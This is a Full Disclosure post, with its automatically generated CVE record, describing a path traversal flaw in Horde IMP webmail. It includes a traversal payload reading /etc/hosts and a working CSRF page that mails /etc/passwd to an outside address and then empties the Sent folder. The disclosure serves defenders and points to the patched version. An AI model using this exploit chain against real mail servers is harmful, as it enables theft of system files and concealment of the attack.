Description (en)
this is my first time sending to a mailing list so ive chosen
something easy. here goes:
Summary: Horde Groupware’s IMP Webmail solution contains a path
traversal/local file inclusion vulnerability which could be exploited
to escalate privileges or bypass authentication (through CSRF if
unauthenticated).
the vulnerability is in here:
} elseif (strcasecmp($node->tagName, 'IMG') === 0) {
/* Check for smileys. They live in the JS directory, under
* the base ckeditor directory, so search for that and replace
* with the filesystem information if found (Request
* #13051). Need to ignore other image links that may have
* been explicitly added by the user. */
$js_path = strval(Horde::url($registry->get('jsuri',
'horde'), true));
if (stripos($src, $js_path . '/ckeditor') === 0) {
$file = str_replace(
$js_path,
$registry->get('jsfs', 'horde'),
$src
);
if (is_readable($file)) {
$data_part = new Horde_Mime_Part();
$data_part->setContents(file_get_contents($file));
...
as seen, we control $file, which is just the src in <img src="">. to
get past the checks to hit our file_get_contents sink, we can just
satisfy the stripos check. our (elementary) exploit is thus:
--
<img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";>
--
this is likely very chainable with any other existing primitive to
achieve rce on horde IMP. for example, heres an easy csrf chain:
--
<!DOCTYPE html>
<html>
<body>
<h1>yo</h1>
<script>
var p1 = new FormData();
p1.append('to', 'john () evil gov');
// land in spam
p1.append('subject', 'hai');
p1.append('html', '1');
p1.append('message',
'<html><body>bye<img
src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>');
p1.append('identity', '0');
p1.append('priority', 'normal');
p1.append('request_read_receipt', '0');
p1.append('save_sent_mail', '1');
fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
method: 'POST',
body: p1,
credentials: 'include',
mode: 'no-cors'
})
.then(() => {
console.log("* bye");
setTimeout(() => {
var p2 = new FormData();
p2.append('mbox', 'U0VOVA'); // b64 SENT
// delete
fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
method: 'POST',
body: p2,
credentials: 'include',
mode: 'no-cors'
});
}, 2000);
});
</script>
</body>
</html>
--
PATCH:
update to horde imp 7.0.1 for the patch.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "CVE-2026-58451 - Horde",
"vendor": "Cve",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "ㅤevan via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware’s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node->tagName, 'IMG') === 0) {\n /* Check for smileys. They live in the JS directory, under\n * the base ckeditor directory, so search for that and replace\n * with the filesystem information if found (Request\n * #13051). Need to ignore other image links that may have\n * been explicitly added by the user. */\n $js_path = strval(Horde::url($registry->get('jsuri',\n'horde'), true));\n if (stripos($src, $js_path . '/ckeditor') === 0) {\n $file = str_replace(\n $js_path,\n $registry->get('jsfs', 'horde'),\n $src\n );\n\n if (is_readable($file)) {\n $data_part = new Horde_Mime_Part();\n $data_part->setContents(file_get_contents($file));\n ...\n\nas seen, we control $file, which is just the src in <img src=\"\">. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n<img src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";>\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n<!DOCTYPE html>\n<html>\n\n<body>\n <h1>yo</h1>\n <script>\n var p1 = new FormData();\n p1.append('to', 'john () evil gov');\n // land in spam\n p1.append('subject', 'hai');\n p1.append('html', '1');\n p1.append('message',\n '<html><body>bye<img\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";></body></html>');\n\n p1.append('identity', '0');\n p1.append('priority', 'normal');\n p1.append('request_read_receipt', '0');\n p1.append('save_sent_mail', '1');\n fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {\n method: 'POST',\n body: p1,\n credentials: 'include',\n mode: 'no-cors'\n })\n .then(() => {\n console.log(\"* bye\");\n setTimeout(() => {\n var p2 = new FormData();\n p2.append('mbox', 'U0VOVA'); // b64 SENT\n // delete\n\nfetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {\n method: 'POST',\n body: p2,\n credentials: 'include',\n mode: 'no-cors'\n });\n }, 2000);\n });\n </script>\n</body>\n\n</html>\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:59Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/8"
},
{
"url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
},
{
"url": "http://targ/horde/services/ajax.php/imp/emptyMailbox&apos"
},
{
"url": "http://targ/horde/services/ajax.php/imp/sendMessage&apos"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/8"
],
"discovery": "EXTERNAL"
},
"title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0021",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
"automated": true,
"contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-02T17:04:19Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:59Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0021"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}